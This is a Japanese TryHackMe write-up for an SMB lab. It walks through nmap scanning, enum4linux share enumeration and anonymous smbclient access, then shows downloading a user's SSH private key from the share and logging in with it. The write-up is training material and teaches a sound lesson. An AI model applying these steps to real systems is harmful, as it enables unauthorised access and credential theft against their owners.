はじめに
本記事は「TryHackMe:Network Services SMB」のwriteupです。
問題
SMBに関する問題です。
回答
ポートスキャンします。
結果ssh(tcp/22)
、netbios-ssntp(tcp/139)
、netbios-ssn(tcp/445)
が公開されていることがわかりました。
┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.10.184.184
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 00:00 JST
Nmap scan report for 10.10.184.184
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: POLOSMB; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.95 seconds
SMBのポートが開いているようなのでEnum4Linuxで列挙してみます。
-S
で共有情報一覧を取得できます。
[+] Got domain/workgroup name: WORKGROUP
からワークグループ名はWORKGROUP
であることがわかりました。
また、マシン名はShare Enumeration on 10.10.184.184
の記載、nmapの実行結果からPOLOSMB
ということがわかりました。
同じ箇所にSharename
列があり、共有名とコメントが記載されています。profiles
が探索したい共有です。
┌──(kali㉿kali)-[~]
└─$ enum4linux -S 10.10.184.184
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon May 8 00:28:57 2023
=========================================( Target Information )=========================================
Target ........... 10.10.184.184
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 10.10.184.184 )===========================
[+] Got domain/workgroup name: WORKGROUP
===================================( Session Check on 10.10.184.184 )===================================
[+] Server 10.10.184.184 allows sessions using username '', password ''
================================( Getting domain SID for 10.10.184.184 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=================================( Share Enumeration on 10.10.184.184 )=================================
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
profiles Disk Users profiles
print$ Disk Printer Drivers
IPC$ IPC IPC Service (polosmb server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP POLOSMB
[+] Attempting to map shares on 10.10.184.184
[E] Can't understand response:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
//10.10.184.184/netlogon Mapping: N/A Listing: N/A Writing: N/A
//10.10.184.184/profiles Mapping: OK Listing: OK Writing: N/A
//10.10.184.184/print$ Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.10.184.184/IPC$ Mapping: N/A Listing: N/A Writing: N/A
enum4linux complete on Mon May 8 00:29:23 2023
- SMBの攻撃方法
- 脆弱性(CVE-2017-7494など)を利用したリモードコード実行
- 設定ミス(匿名アクセスの許可など)
SMBのクライアントツールはsmbclient
であり、以下のように使用します。
オプションでユーザー名などを指定できます。
smbclient //[IP]/[SHARE]
ユーザー名をAnonymous
、共有をprofiles
でアクセスしてみます。
匿名アクセスが有効になっていたため、パスワードなしでログインすることができ、ファイル一覧を見ることができました。
また、Working From Home Information.txt
の内容からこのフォルダの所有者はJohn Cactus
である可能性が高いです。
ログイン時に指定するユーザー名として指定してみても良いかもしれません。
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.184.184/profiles -U Anonymous
Password for [WORKGROUP\Anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 21 20:08:23 2020
.. D 0 Tue Apr 21 19:49:56 2020
.cache DH 0 Tue Apr 21 20:08:23 2020
.profile H 807 Tue Apr 21 20:08:23 2020
.sudo_as_admin_successful H 0 Tue Apr 21 20:08:23 2020
.bash_logout H 220 Tue Apr 21 20:08:23 2020
.viminfo H 947 Tue Apr 21 20:08:23 2020
Working From Home Information.txt N 358 Tue Apr 21 20:08:23 2020
.ssh DH 0 Tue Apr 21 20:08:23 2020
.bashrc H 3771 Tue Apr 21 20:08:23 2020
.gnupg DH 0 Tue Apr 21 20:08:23 2020
12316808 blocks of size 1024. 7584036 blocks available
nmapの結果に立ち戻ると対象サーバはsshが稼働していました。
sshに関する情報を.ssh
から探してみます。
秘密鍵id_rsa
があったのでダウンロードします。
smb: \> cd .ssh\
smb: \.ssh\> ls
. D 0 Tue Apr 21 20:08:23 2020
.. D 0 Tue Apr 21 20:08:23 2020
id_rsa A 1679 Tue Apr 21 20:08:23 2020
id_rsa.pub N 396 Tue Apr 21 20:08:23 2020
authorized_keys N 0 Tue Apr 21 20:08:23 2020
12316808 blocks of size 1024. 7584036 blocks available
smb: \.ssh\> get id_rsa
getting file \.ssh\id_rsa of size 1679 as id_rsa (1.3 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \.ssh\> exit
ダウンロードした秘密鍵に権限を付与し、ssh
コマンドでログインを試みます。
ユーザー名はSMB列挙で取得したJohn Cactus
の姓部分を指定してみます。
すると無事ログインすることができ、フラグが記載されたファイルが見つかりました。
┌──(kali㉿kali)-[~]
└─$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos go id_rsa
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh cactus@10.10.184.184 -i id_rsa
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun May 7 16:12:34 UTC 2023
System load: 0.0 Processes: 92
Usage of /: 33.3% of 11.75GB Users logged in: 0
Memory usage: 17% IP address for eth0: 10.10.184.184
Swap usage: 0%
22 packages can be updated.
0 updates are security updates.
Last login: Tue Apr 21 11:19:15 2020 from 192.168.1.110
cactus@polosmb:~$ ls
smb.txt